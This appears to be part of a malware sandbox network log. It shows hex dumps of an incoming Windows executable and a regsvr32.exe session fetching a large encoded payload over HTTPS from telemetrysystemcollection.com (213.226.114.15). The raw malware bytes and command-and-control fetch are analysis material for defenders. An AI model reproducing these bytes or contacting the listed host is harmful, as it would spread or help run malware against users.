2022-06-16 18:31:43 UTC	184	IN	Data Raw: ff 89 85 f4 fe ff ff 8b 8d f8 fe ff ff 3b 4d ec 7c 12 8b 95 14 fe ff ff 03 95 38 fd ff ff 89 95 78 ff ff ff 8b 85 bc fd ff ff 3b 45 dc 7f 12 8b 8d 74 ff ff ff 03 8d 24 fe ff ff 89 8d 6c ff ff ff 8b 95 d4 fe ff ff 0f af 95 ec fe ff ff 89 95 cc fe ff ff 8b 85 08 ff ff ff 0f af 85 70 fc ff ff 89 85 d8 fb ff ff 8b 8d 80 fd ff ff 0f af 8d bc fe ff ff 89 8d c0 fc ff ff 8b 95 2c fe ff ff 0f af 95 0c ff ff ff 89 95 04 ff ff ff 8b 85 98 fc ff ff 3b 45 cc 7f 12 8b 8d f4 fe ff ff 03 8d 00 ff ff ff 89 8d e4 fe ff ff 8b 95 44 fc ff ff 3b 55 80 7f 12 8b 85 a8 fc ff ff 03 85 e0 fe ff ff 89 85 d4 fc ff ff 8b 8d ac fa ff ff 0f af 8d 7c ff ff ff 89 8d 8c fb ff ff 8b 55 b0 3b 55 b4 7f 0f 8b 45 8c 03 85 a4 fa ff ff 89 85 e8 f9 ff ff 8b 8d 50 fd ff ff 3b 8d 60 fd ff ff 7c 12 Data Ascii: ;M\|8x;Et$lp,;ED;U\|U;UEP;`\|
2022-06-16 18:31:43 UTC	200	IN	Data Raw: 95 f8 fe ff ff 8b 45 08 83 c0 46 89 85 f4 fe ff ff 8b 4d 08 81 c1 fb 00 00 00 89 8d 84 fc ff ff 8b 55 08 81 c2 0f 01 00 00 89 95 80 fc ff ff 8b 45 08 83 c0 75 89 85 7c fc ff ff 8b 4d 08 81 c1 95 01 00 00 89 8d 64 f9 ff ff 8b 55 08 81 c2 68 01 00 00 89 55 8c 8b 45 08 05 e8 00 00 00 89 85 78 fc ff ff 8b 4d 08 83 c1 65 89 8d 74 fc ff ff 8b 55 08 81 c2 06 01 00 00 89 95 10 fe ff ff 8b 45 08 83 c0 50 89 85 60 f9 ff ff 8b 4d 08 81 c1 3b 01 00 00 89 8d 0c fe ff ff 8b 55 08 81 c2 b0 01 00 00 89 95 5c f9 ff ff 8b 45 08 05 ba 01 00 00 89 45 cc 8b 4d 08 81 c1 ad 01 00 00 89 8d 08 fe ff ff 8b 55 08 83 c2 74 89 95 70 fc ff ff 8b 45 08 05 e4 01 00 00 89 85 6c fc ff ff 8b 4d 08 81 c1 e4 00 00 00 89 8d a4 fa ff ff 8b 55 08 81 c2 72 01 00 00 89 95 a0 fa ff ff 8b 45 08 83 Data Ascii: EFMUEu\|MdUhUExMetUEP`M;U\EEMUtpElMUrE
2022-06-16 18:31:43 UTC	216	IN	Data Raw: 00 00 89 85 50 f9 ff ff 8b 4d 08 83 c1 3d 89 8d 4c f9 ff ff 8b 55 08 81 c2 a7 01 00 00 89 95 04 fc ff ff 8b 45 08 05 9e 00 00 00 89 85 c8 fe ff ff 8b 4d 08 81 c1 5c 01 00 00 89 8d c4 fe ff ff 8b 55 08 81 c2 d7 00 00 00 89 95 c0 fe ff ff 8b 45 08 05 95 00 00 00 89 85 64 fd ff ff 8b 4d 08 81 c1 61 01 00 00 89 8d 60 fd ff ff 8b 55 08 81 c2 8a 00 00 00 89 95 bc fe ff ff 8b 45 08 05 ef 01 00 00 89 85 b8 fe ff ff 8b 4d 08 81 c1 a4 01 00 00 89 8d b4 fe ff ff 8b 55 08 83 c2 1d 89 95 00 fc ff ff 8b 45 08 05 cf 00 00 00 89 85 5c fd ff ff 8b 4d 08 83 c1 5e 89 8d 8c fa ff ff 8b 55 08 83 c2 16 89 55 f0 8b 45 08 83 c0 55 89 85 58 fd ff ff 8b 4d 08 81 c1 bc 00 00 00 89 8d 88 fa ff ff 8b 55 08 81 c2 8b 00 00 00 89 55 c4 8b 45 08 05 25 01 00 00 89 85 84 fa ff ff 8b 4d 08 Data Ascii: PM=LUEM\UEdMa`UEMUE\M^UUEUXMUUE%M
2022-06-16 18:31:43 UTC	232	IN	Data Raw: 45 08 83 c0 05 89 85 20 fc ff ff 8b 4d 08 83 c1 3b 89 8d 1c fc ff ff 8b 55 08 81 c2 e6 01 00 00 89 95 98 fd ff ff 8b 45 08 05 b9 01 00 00 89 85 18 fc ff ff 8b 4d 08 81 c1 bb 00 00 00 89 8d 74 ff ff ff 8b 55 08 81 c2 cf 00 00 00 89 95 14 fc ff ff 8b 45 08 05 a4 00 00 00 89 85 5c fa ff ff 8b 4d 08 83 c1 79 89 8d d4 fe ff ff 8b 55 08 81 c2 e6 01 00 00 89 95 70 ff ff ff 8b 45 08 05 8b 00 00 00 89 85 3c f9 ff ff 8b 4d 08 83 c1 12 89 4d d0 8b 55 08 81 c2 85 00 00 00 89 95 d0 fe ff ff 8b 45 08 83 c0 5b 89 85 10 fc ff ff 8b 4d 08 81 c1 b8 00 00 00 89 8d 38 f9 ff ff 8b 55 08 81 c2 5b 01 00 00 89 95 94 fd ff ff 8b 45 08 05 b1 01 00 00 89 85 90 fd ff ff 8b 4d 08 81 c1 e3 01 00 00 89 8d 58 fa ff ff 8b 55 08 81 c2 72 01 00 00 89 95 0c fc ff ff 8b 45 08 83 c0 2a 89 85 Data Ascii: E M;UEMtUE\MyUpE<MMUE[M8U[EMXUrE*
2022-06-16 18:31:43 UTC	248	IN	Data Raw: c2 a3 01 00 00 89 55 b8 8b 45 08 83 c0 0e 89 85 00 fe ff ff 8b 4d 08 81 c1 42 01 00 00 89 8d 1c ff ff ff 8b 55 08 81 c2 5e 01 00 00 89 95 cc fb ff ff 8b 45 08 05 80 00 00 00 89 85 18 ff ff ff 8b 4d 08 83 c1 2f 89 8d c8 fb ff ff 8b 55 08 81 c2 24 01 00 00 89 95 fc fd ff ff 8b 45 08 05 89 01 00 00 89 85 f8 fd ff ff 8b 4d 08 83 c1 68 89 8d d8 f9 ff ff 8b 55 08 81 c2 bd 00 00 00 89 95 f4 fd ff ff 8b 45 08 05 06 01 00 00 89 85 c4 fb ff ff 8b 4d 08 83 c1 52 89 8d f0 fd ff ff 8b 55 08 81 c2 d6 00 00 00 89 95 14 ff ff ff 8b 45 08 05 cb 01 00 00 89 85 ec fd ff ff 8b 4d 08 83 c1 67 89 8d d4 f9 ff ff 8b 55 08 83 c2 2b 89 95 10 ff ff ff 8b 45 08 05 ea 00 00 00 89 85 d0 f9 ff ff 8b 4d 08 83 c1 6e 89 8d c0 fb ff ff 8b 55 08 81 c2 f6 00 00 00 89 55 b4 8b 45 08 05 10 01 Data Ascii: UEMBU^EM/U$EMhUEMRUEMgU+EMnUUE
2022-06-16 18:31:43 UTC	264	IN	Data Raw: 85 28 fa ff ff 8b 4d 08 81 c1 1c 01 00 00 89 8d 24 fa ff ff 8b 55 08 83 c2 5d 89 95 08 fc ff ff 8b 45 08 05 ff 00 00 00 89 85 04 fc ff ff 8b 4d 08 81 c1 f1 00 00 00 89 8d 20 fa ff ff 8b 55 08 81 c2 61 01 00 00 89 95 10 fe ff ff 8b 45 08 05 07 01 00 00 89 85 00 fc ff ff 8b 4d 08 81 c1 e0 01 00 00 89 8d fc fb ff ff 8b 55 08 81 c2 64 01 00 00 89 95 f8 fb ff ff 8b 45 08 05 a0 01 00 00 89 85 0c fe ff ff 8b 4d 08 81 c1 91 01 00 00 89 8d 08 fe ff ff 8b 55 08 81 c2 db 00 00 00 89 95 04 fe ff ff 8b 45 08 05 76 01 00 00 89 45 b4 8b 4d 08 81 c1 ac 01 00 00 89 8d f4 fb ff ff 8b 55 08 81 c2 c3 01 00 00 89 95 30 ff ff ff 8b 45 08 05 d0 01 00 00 89 85 f0 fb ff ff 8b 4d 08 81 c1 ee 01 00 00 89 8d 1c fa ff ff 8b 55 08 81 c2 87 00 00 00 89 95 00 fe ff ff 8b 45 08 05 f2 01 Data Ascii: (M$U]EM UaEMUdEMUEvEMU0EMUE
2022-06-16 18:31:43 UTC	280	IN	Data Raw: 95 d4 fd ff ff 7c 0f 8b 45 d4 03 85 c0 fd ff ff 89 85 b0 fe ff ff 8b 8d c4 fc ff ff 0f af 8d f0 fe ff ff 89 4d cc 8b 95 ec fd ff ff 3b 95 58 ff ff ff 7c 12 8b 85 14 ff ff ff 03 85 24 fd ff ff 89 85 2c fd ff ff 8b 8d 60 ff ff ff 0f af 8d e8 fc ff ff 89 8d 3c fe ff ff 8b 95 00 fd ff ff 3b 95 44 fd ff ff 7c 12 8b 85 fc fe ff ff 03 85 10 fe ff ff 89 85 14 ff ff ff 8b 8d 58 ff ff ff 0f af 8d 18 ff ff ff 89 8d 74 ff ff ff 8b 95 fc fc ff ff 3b 55 88 7c 0c 8b 85 e0 fc ff ff 03 45 dc 89 45 c8 8b 8d 10 fd ff ff 3b 4d 80 7f 12 8b 95 a4 fd ff ff 03 95 2c ff ff ff 89 95 9c fd ff ff 8b 85 c4 fd ff ff 0f af 85 ac fe ff ff 89 45 f8 8b 4d e8 0f af 8d 78 fe ff ff 89 8d 90 fd ff ff 8b 95 c4 fe ff ff 0f af 95 3c fd ff ff 89 95 a0 fd ff ff 8b 45 a0 0f af 45 e8 89 85 20 fd ff Data Ascii: \|EM;X\|$,`<;D\|Xt;U\|EE;M,EMx<EE
2022-06-16 18:31:43 UTC	296	IN	Data Raw: 89 07 89 77 04 89 4f 08 33 c9 89 57 0c 8b 45 dc 8b 7d e4 89 45 f4 81 f7 6e 74 65 6c 8b 45 e8 35 69 6e 65 49 89 45 f8 8b 45 e0 35 47 65 6e 75 89 45 fc 33 c0 40 53 0f a2 8b f3 5b 8d 5d dc 89 03 8b 45 fc 89 73 04 0b c7 0b 45 f8 89 4b 08 89 53 0c 75 43 8b 45 dc 25 f0 3f ff 0f 3d c0 06 01 00 74 23 3d 60 06 02 00 74 1c 3d 70 06 02 00 74 15 3d 50 06 03 00 74 0e 3d 60 06 03 00 74 07 3d 70 06 03 00 75 11 8b 3d e4 4f 06 10 83 cf 01 89 3d e4 4f 06 10 eb 06 8b 3d e4 4f 06 10 8b 4d e4 6a 07 58 89 4d fc 39 45 f4 7c 2f 33 c9 53 0f a2 8b f3 5b 8d 5d dc 89 03 89 73 04 89 4b 08 8b 4d fc 89 53 0c 8b 5d e0 f7 c3 00 02 00 00 74 0e 83 cf 02 89 3d e4 4f 06 10 eb 03 8b 5d f0 a1 14 40 06 10 83 c8 02 c7 05 e0 4f 06 10 01 00 00 00 a3 14 40 06 10 f7 c1 00 00 10 00 0f 84 93 00 00 00 Data Ascii: wO3WE}EntelE5ineIEE5GenuE3@S[]EsEKSuCE%?=t#=`t=pt=Pt=`t=pu=O=O=OMjXM9E\|/3S[]sKMS]t=O]@O@
2022-06-16 18:31:43 UTC	312	IN	Data Raw: ff 40 08 8b 02 8b 08 66 8b 45 08 66 89 01 8b 02 83 00 02 b0 01 5d c2 08 00 8b ff 55 8b ec 83 ec 0c 53 56 8b f1 57 80 7e 3c 00 75 58 33 ff 39 7e 38 7e 51 8b 4e 34 8d 5e 18 89 4d f8 33 c0 66 89 45 fc 8b 46 08 50 8b 00 ff 70 04 8d 45 fc 51 50 e8 33 30 00 00 83 c4 10 89 45 f4 85 c0 7e 20 53 ff 75 fc 8d 8e 48 04 00 00 e8 66 ff ff ff 8b 4d f8 03 4d f4 47 89 4d f8 3b 7e 38 75 bf eb 1e 83 0b ff eb 19 8d 46 0c 50 8d 46 18 50 ff 76 38 8d 8e 48 04 00 00 ff 76 34 e8 09 00 00 00 5f 5e b0 01 5b c9 c2 04 00 8b ff 55 8b ec 51 53 8b 5d 0c 8b c1 89 45 fc 85 db 74 59 8b 00 57 8b 78 04 39 78 08 75 0b 80 78 0c 00 8b 45 10 74 3d eb 33 2b 78 08 3b fb 72 02 8b fb 56 8d 34 3f 56 ff 75 08 ff 30 e8 55 ce ff ff 8b 4d fc 83 c4 0c 8b 01 01 30 8b 01 5e 01 78 08 8b 01 80 78 0c 00 8b 45 Data Ascii: @fEf]USVW~<uX39~8~QN4^M3fEFPpEQP30E~ SuHfMMGM;~8uFPFPv8Hv4_^[UQS]EtYWx9xuxEt=3+x;rV4?Vu0UM0^xxE
2022-06-16 18:31:43 UTC	328	IN	Data Raw: 18 81 fe 50 01 00 00 72 db b0 01 eb 0a 6a 00 e8 1d 00 00 00 59 32 c0 5f 5e c3 8b ff 55 8b ec 6b 45 08 18 05 40 58 06 10 50 ff 15 ac c0 05 10 5d c3 8b ff 56 8b 35 90 59 06 10 85 f6 74 20 6b c6 18 57 8d b8 28 58 06 10 57 ff 15 2c c0 05 10 ff 0d 90 59 06 10 83 ef 18 83 ee 01 75 eb 5f b0 01 5e c3 8b ff 55 8b ec 6b 45 08 18 05 40 58 06 10 50 ff 15 b0 c0 05 10 5d c3 8b ff 55 8b ec 51 64 a1 30 00 00 00 56 33 f6 89 75 fc 8b 40 10 39 70 08 7c 0f 8d 45 fc 50 e8 4d e7 ff ff 83 7d fc 01 74 03 33 f6 46 8b c6 5e c9 c3 8b ff 55 8b ec 8b 45 0c 3b 45 08 76 05 83 c8 ff 5d c3 1b c0 f7 d8 5d c3 8b ff 55 8b ec 56 8b 75 08 57 85 f6 75 1a 8b 75 0c 8b ce e8 bc 06 00 00 33 ff 89 7e 08 89 7e 0c 89 7e 10 e9 84 00 00 00 33 ff 80 3e 00 75 1f 8b 75 0c 39 7e 0c 75 0d 6a 01 8b ce e8 ea Data Ascii: PrjY2_^UkE@XP]V5Yt kW(XW,Yu_^UkE@XP]UQd0V3u@9p\|EPM}t3F^UE;Ev]]UVuWuu3~~~3>uu9~uj
2022-06-16 18:31:43 UTC	344	IN	Data Raw: ff 8b ca 89 8d 84 f8 ff ff 85 c0 0f 84 da 03 00 00 83 f8 26 76 03 6a 26 58 0f b6 0c 85 e6 12 06 10 0f b6 34 85 e7 12 06 10 8b f9 89 85 b0 f8 ff ff c1 e7 02 57 8d 04 31 89 85 8c fa ff ff 8d 85 90 fa ff ff 6a 00 50 e8 30 4d ff ff 8b c6 c1 e0 02 50 8b 85 b0 f8 ff ff 0f b7 04 85 e4 12 06 10 8d 04 85 e0 09 06 10 50 8d 85 90 fa ff ff 03 c7 50 e8 c6 4e ff ff 8b bd 8c fa ff ff 83 c4 18 3b fb 0f 87 cc 00 00 00 8b bd 90 fa ff ff 85 ff 75 36 33 c0 50 89 85 bc f8 ff ff 89 85 5c fc ff ff 8d 85 c0 f8 ff ff 50 8d 85 60 fc ff ff 68 cc 01 00 00 50 e8 2d d1 ff ff 83 c4 10 8a c3 be cc 01 00 00 e9 02 03 00 00 3b fb 74 f0 83 bd 5c fc ff ff 00 74 e7 8b 85 5c fc ff ff 33 c9 89 85 a8 f8 ff ff 33 f6 8b c7 f7 a4 b5 60 fc ff ff 03 c1 89 84 b5 60 fc ff ff 83 d2 00 46 8b ca 3b b5 a8 Data Ascii: &vj&X4W1jP0MPPPN;u63P\P`hP-;t\t\33``F;
2022-06-16 18:31:43 UTC	360	IN	Data Raw: 5b 5e 5f c2 10 00 cc cc cc cc cc cc 57 56 55 33 ff 33 ed 8b 44 24 14 0b c0 7d 15 47 45 8b 54 24 10 f7 d8 f7 da 83 d8 00 89 44 24 14 89 54 24 10 8b 44 24 1c 0b c0 7d 14 47 8b 54 24 18 f7 d8 f7 da 83 d8 00 89 44 24 1c 89 54 24 18 0b c0 75 28 8b 4c 24 18 8b 44 24 14 33 d2 f7 f1 8b d8 8b 44 24 10 f7 f1 8b f0 8b c3 f7 64 24 18 8b c8 8b c6 f7 64 24 18 03 d1 eb 47 8b d8 8b 4c 24 18 8b 54 24 14 8b 44 24 10 d1 eb d1 d9 d1 ea d1 d8 0b db 75 f4 f7 f1 8b f0 f7 64 24 1c 8b c8 8b 44 24 18 f7 e6 03 d1 72 0e 3b 54 24 14 77 08 72 0f 3b 44 24 10 76 09 4e 2b 44 24 18 1b 54 24 1c 33 db 2b 44 24 10 1b 54 24 14 4d 79 07 f7 da f7 d8 83 da 00 8b ca 8b d3 8b d9 8b c8 8b c6 4f 75 07 f7 da f7 d8 83 da 00 5d 5e 5f c2 10 00 cc 80 f9 40 73 15 80 f9 20 73 06 0f a5 c2 d3 e0 c3 8b d0 33 Data Ascii: [^_WVU33D$}GET$D$T$D$}GT$D$T$u(L$D$3D$d$d$GL$T$D$ud$D$r;T$wr;D$vN+D$T$3+D$T$MyOu]^_@s s3
2022-06-16 18:31:43 UTC	376	IN	Data Raw: 00 00 00 00 69 00 74 00 00 00 00 00 6a 00 61 00 00 00 00 00 6b 00 6f 00 00 00 00 00 6e 00 6c 00 00 00 00 00 6e 00 6f 00 00 00 00 00 70 00 6c 00 00 00 00 00 70 00 74 00 00 00 00 00 72 00 6f 00 00 00 00 00 72 00 75 00 00 00 00 00 68 00 72 00 00 00 00 00 73 00 6b 00 00 00 00 00 73 00 71 00 00 00 00 00 73 00 76 00 00 00 00 00 74 00 68 00 00 00 00 00 74 00 72 00 00 00 00 00 75 00 72 00 00 00 00 00 69 00 64 00 00 00 00 00 75 00 6b 00 00 00 00 00 62 00 65 00 00 00 00 00 73 00 6c 00 00 00 00 00 65 00 74 00 00 00 00 00 6c 00 76 00 00 00 00 00 6c 00 74 00 00 00 00 00 66 00 61 00 00 00 00 00 76 00 69 00 00 00 00 00 68 00 79 00 00 00 00 00 61 00 7a 00 00 00 00 00 65 00 75 00 00 00 00 00 6d 00 6b 00 00 00 00 00 61 00 66 00 00 00 00 00 6b 00 61 00 00 00 00 00 66 00 6f Data Ascii: itjakonlnoplptroruhrsksqsvthtruridukbesletlvltfavihyazeumkafkafo
2022-06-16 18:31:43 UTC	392	IN	Data Raw: 3a 02 47 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 74 72 69 6e 67 73 57 00 00 ad 01 46 72 65 65 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 74 72 69 6e 67 73 57 00 a2 01 46 6c 75 73 68 46 69 6c 65 42 75 66 66 65 72 73 00 00 16 06 57 72 69 74 65 46 69 6c 65 00 03 02 47 65 74 43 6f 6e 73 6f 6c 65 4f 75 74 70 75 74 43 50 00 00 ff 01 47 65 74 43 6f 6e 73 6f 6c 65 4d 6f 64 65 00 00 4e 05 53 65 74 53 74 64 48 61 6e 64 6c 65 00 00 25 05 53 65 74 46 69 6c 65 50 6f 69 6e 74 65 72 45 78 00 00 da 02 47 65 74 53 74 72 69 6e 67 54 79 70 65 57 00 00 89 00 43 6c 6f 73 65 48 61 6e 64 6c 65 00 ce 00 43 72 65 61 74 65 46 69 6c 65 57 00 15 06 57 72 69 74 65 43 6f 6e 73 6f 6c 65 57 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff Data Ascii: :GetEnvironmentStringsWFreeEnvironmentStringsWFlushFileBuffersWriteFileGetConsoleOutputCPGetConsoleModeNSetStdHandle%SetFilePointerExGetStringTypeWCloseHandleCreateFileWWriteConsoleW

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49770	213.226.114.15	443	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-16 18:31:43 UTC	401	OUT	GET /m8YYdu/mCQ2U9/home.aspx HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: telemetrysystemcollection.com Cache-Control: no-cache
2022-06-16 18:31:43 UTC	401	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:31:43 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 Last-Modified: Tue, 14 Jun 2022 10:54:24 GMT ETag: "cb280-5e1663a52587a" Accept-Ranges: bytes Content-Length: 832128 Connection: close
2022-06-16 18:31:43 UTC	402	IN	Data Raw: 43 79 2f 59 57 6e 59 30 63 6c 46 6a 62 6a 4e 6c 6a 72 4e 61 4e 76 35 43 4e 44 68 45 5a 58 6c 69 4b 6a 51 35 65 45 56 56 51 33 52 45 56 45 46 74 52 6b 5a 31 53 46 70 31 4e 48 4a 52 5a 32 34 7a 0d 0a 5a 58 46 4d 57 6a 5a 47 51 6a 51 34 52 47 56 35 59 6d 73 30 4f 58 5a 61 37 30 31 30 38 46 32 4d 54 50 35 48 4f 59 56 37 49 56 77 62 49 6b 63 65 51 51 6f 57 50 6a 74 62 5a 69 46 56 56 69 6f 4b 0d 0a 44 55 49 49 55 52 6b 4b 4d 44 74 6a 48 53 70 30 42 53 49 56 5a 68 67 6e 50 68 41 61 66 31 78 74 53 6a 4e 6c 63 55 78 61 4e 6b 62 39 6c 67 73 6e 6e 72 6f 2f 57 73 2f 36 4a 58 57 75 67 43 6c 30 0d 0a 75 2b 6b 7a 64 37 43 32 46 57 71 61 6e 43 70 67 50 4b 31 75 56 5a 37 6b 41 77 65 72 67 57 6b 49 37 64 4d 68 55 39 4c 33 5a 45 6a 73 34 78 70 46 73 4a 63 63 58 65 2f 77 4b Data Ascii: Cy/YWnY0clFjbjNljrNaNv5CNDhEZXliKjQ5eEVVQ3REVEFtRkZ1SFp1NHJRZ24zZXFMWjZGQjQ4RGV5Yms0OXZa70108F2MTP5HOYV7IVwbIkceQQoWPjtbZiFVVioKDUIIURkKMDtjHSp0BSIVZhgnPhAaf1xtSjNlcUxaNkb9lgsnnro/Ws/6JXWugCl0u+kzd7C2FWqanCpgPK1uVZ7kAwergWkI7dMhU9L3ZEjs4xpFsJccXe/wK
2022-06-16 18:31:43 UTC	409	IN	Data Raw: 6c 69 43 2f 6e 74 4b 4c 65 72 6f 6f 6a 63 63 66 79 6f 42 43 4e 41 75 4e 37 69 79 65 36 66 59 78 38 55 2f 63 43 58 44 50 45 55 6e 6b 0d 0a 41 37 37 2b 42 61 4c 38 65 59 62 61 63 6d 59 7a 62 47 48 46 44 39 72 4e 42 38 43 78 41 5a 58 79 4c 35 71 2f 61 48 77 58 33 6b 49 6b 7a 78 6d 39 50 4b 36 67 59 30 6c 61 2f 6e 6d 4f 75 51 6d 77 0d 0a 4d 57 58 36 43 61 61 39 6f 78 2f 32 50 45 53 70 74 61 36 6d 2b 47 7a 7a 71 64 61 76 59 4d 30 5a 76 65 59 44 75 72 4e 49 57 6b 62 39 2b 51 53 62 37 66 46 74 2b 45 62 54 66 45 4c 4a 63 54 44 4e 0d 0a 49 49 48 70 4a 38 79 77 4e 62 48 65 56 6e 78 45 58 56 48 6b 45 36 72 2b 44 61 37 38 63 59 4c 61 4b 70 34 38 30 32 41 65 30 58 4f 36 45 74 7a 78 55 6d 52 35 36 53 66 49 30 57 6d 62 56 30 50 2f 0d 0a 41 61 6a 4b 69 42 75 45 63 55 69 Data Ascii: liC/ntKLeroojccfyoBCNAuN7iye6fYx8U/cCXDPEUnkA77+BaL8eYbacmYzbGHFD9rNB8CxAZXyL5q/aHwX3kIkzxm9PK6gY0la/nmOuQmwMWX6Caa9ox/2PESpta6m+GzzqdavYM0ZveYDurNIWkb9+QSb7fFt+EbTfELJcTDNIIHpJ8ywNbHeVnxEXVHkE6r+Da78cYLaKp4802Ae0XO6EtzxUmR56SfI0WmbV0P/AajKiBuEcUi
2022-06-16 18:31:43 UTC	425	IN	Data Raw: 76 53 65 78 37 43 76 50 37 6e 6e 46 46 38 62 4e 46 38 53 78 45 59 33 79 4a 35 4b 39 0d 0a 66 4a 54 4f 47 4b 2f 39 43 59 44 4b 4f 4b 37 50 49 4b 7a 52 4d 4e 44 37 46 4c 2f 6c 66 6f 58 34 41 59 61 39 45 35 35 6d 73 77 6d 39 6b 51 69 46 4e 44 6e 7a 41 4b 6e 49 66 4d 30 5a 6b 65 59 54 0d 0a 75 76 35 4b 32 62 55 6b 2b 52 79 62 35 7a 4c 75 6c 42 47 59 4d 6b 61 4f 2b 50 53 49 71 62 57 75 70 76 6a 31 74 49 6d 5a 6a 37 67 52 33 36 33 75 71 6e 4c 38 42 61 72 2b 63 59 4c 59 49 6f 4b 34 0d 0a 4b 4a 33 50 6d 7a 4c 50 44 38 79 7a 45 57 33 77 4e 37 4b 2f 66 49 44 4f 58 63 6f 35 72 4e 38 55 68 63 38 54 6c 63 4d 66 68 62 30 33 74 65 77 6a 31 2b 77 38 6e 4e 46 6a 70 73 74 68 35 4d 38 67 0d 0a 70 65 73 76 77 4c 49 31 6e 64 77 4f 6f 4d 38 42 6c 65 64 45 7a 6a 43 30 30 54 6a Data Ascii: vSex7CvP7nnFF8bNF8SxEY3yJ5K9fJTOGK/9CYDKOK7PIKzRMND7FL/lfoX4AYa9E55mswm9kQiFNDnzAKnIfM0ZkeYTuv5K2bUk+Ryb5zLulBGYMkaO+PSIqbWupvj1tImZj7gR363uqnL8Bar+cYLYIoK4KJ3PmzLPD8yzEW3wN7K/fIDOXco5rN8Uhc8TlcMfhb03tewj1+w8nNFjpsth5M8gpesvwLI1ndwOoM8BledEzjC00Tj
2022-06-16 18:31:44 UTC	441	IN	Data Raw: 48 4c 66 6e 66 73 6e 36 47 66 61 2f 0d 0a 45 36 71 33 52 59 52 31 64 75 44 53 4e 44 6c 34 7a 68 43 76 2f 30 7a 64 44 4e 48 4e 45 38 6e 42 44 37 47 2f 4e 30 45 33 35 58 36 68 49 4d 63 50 33 68 53 71 63 51 6c 42 5a 66 71 6d 5a 72 39 38 0d 0a 6b 45 59 51 55 2f 30 42 2f 4d 6f 67 58 68 66 2b 48 55 34 6e 76 7a 66 35 4e 34 59 62 56 48 52 4d 32 66 4a 4b 79 58 6e 51 52 79 68 70 59 53 63 73 73 44 58 68 33 68 61 6f 62 77 46 52 37 6f 52 48 0d 0a 4a 38 4d 66 73 54 63 33 51 54 66 6c 66 73 45 67 70 4b 55 47 51 30 4b 33 2f 45 6a 75 4c 4b 4c 70 39 6a 6a 78 45 49 48 49 4d 66 6a 64 42 4e 57 42 41 34 6c 49 57 6e 55 30 38 79 79 7a 62 69 4e 6c 0d 0a 63 54 35 58 75 77 75 57 5a 62 55 52 33 53 75 4b 32 68 77 37 65 4d 34 51 6c 79 54 50 47 66 6b 38 72 6a 71 49 54 46 72 32 38 48 71 Data Ascii: HLfnfsn6Gfa/E6q3RYR1duDSNDl4zhCv/0zdDNHNE8nBD7G/N0E35X6hIMcP3hSqcQlBZfqmZr98kEYQU/0B/MogXhf+HU4nvzf5N4YbVHRM2fJKyXnQRyhpYScssDXh3haobwFR7oRHJ8MfsTc3QTflfsEgpKUGQ0K3/EjuLKLp9jjxEIHIMfjdBNWBA4lIWnU08yyzbiNlcT5XuwuWZbUR3SuK2hw7eM4QlyTPGfk8rjqITFr28Hq
2022-06-16 18:31:44 UTC	457	IN	Data Raw: 30 31 35 58 61 52 2b 6b 51 4c 76 51 75 2b 33 50 66 6e 6d 6f 62 72 4c 39 79 79 6e 52 69 58 52 33 53 49 6d 49 32 68 69 6f 6f 67 77 37 62 32 32 47 72 59 4b 70 4b 34 49 49 33 46 48 38 37 4e 0d 0a 44 38 79 37 68 57 48 77 4c 35 36 2f 62 49 7a 4f 45 4c 76 2f 54 6d 38 4a 5a 54 4a 53 2f 68 31 53 2f 47 47 43 32 69 4b 65 59 2b 34 38 73 4c 4a 50 32 62 33 4c 30 31 2f 75 4e 47 72 6a 65 64 58 7a 0d 0a 45 4c 6b 52 2f 77 47 67 79 6d 55 58 7a 54 69 30 73 6b 71 53 6a 61 37 75 4b 39 76 75 6c 42 47 59 4d 6b 61 4f 2b 50 53 49 71 62 55 33 34 64 69 36 6c 46 33 63 44 6f 6a 50 45 62 33 6b 41 37 37 2b 0d 0a 42 61 4c 32 39 58 62 59 4b 70 71 34 4d 49 58 48 48 38 37 4e 53 41 39 77 54 42 46 74 36 54 38 38 73 43 32 31 33 67 61 45 46 4e 38 4d 6b 61 37 66 36 72 65 6c 6e 69 2f 35 48 47 2f Data Ascii: 015XaR+kQLvQu+3PfnmobrL9yynRiXR3SImI2hioogw7b22GrYKpK4II3FH87ND8y7hWHwL56/bIzOELv/Tm8JZTJS/h1S/GGC2iKeY+48sLJP2b3L01/uNGrjedXzELkR/wGgymUXzTi0skqSja7uK9vulBGYMkaO+PSIqbU34di6lF3cDojPEb3kA77+BaL29XbYKpq4MIXHH87NSA9wTBFt6T88sC213gaEFN8Mka7f6relni/5HG/
2022-06-16 18:31:44 UTC	473	IN	Data Raw: 6f 7a 5a 58 45 6e 6b 73 6e 4e 31 33 7a 48 75 35 70 36 4b 47 36 39 74 44 79 36 71 72 7a 2f 77 52 43 2b 6b 72 6e 4e 66 63 48 58 4e 63 75 4e 0d 0a 72 75 7a 37 63 35 71 4f 73 39 6f 4d 52 44 63 39 2f 77 48 56 65 47 4a 71 4e 4e 4a 2f 67 68 44 7a 64 45 52 55 51 65 63 44 39 76 30 4e 76 58 71 43 50 37 62 69 70 30 59 55 2b 68 6d 71 74 59 52 47 0d 0a 76 61 31 34 6d 6f 61 64 30 6a 41 35 65 45 55 2b 69 34 76 50 77 58 32 53 75 62 6c 32 41 6c 37 38 75 55 71 75 6d 4a 47 34 34 45 6d 7a 70 63 6e 4e 53 72 32 31 63 4a 71 47 6e 65 47 68 44 59 65 36 0d 0a 71 73 4e 4f 52 53 46 49 71 67 50 71 64 45 68 61 64 64 39 31 6c 69 4c 43 4d 32 56 78 54 4e 42 7a 36 73 70 78 33 6b 76 54 4e 49 54 76 2f 55 78 76 4c 55 68 51 64 45 51 38 36 62 74 42 56 68 30 49 0d 0a 71 48 49 6b 6d 70 4d 4d 61 Data Ascii: 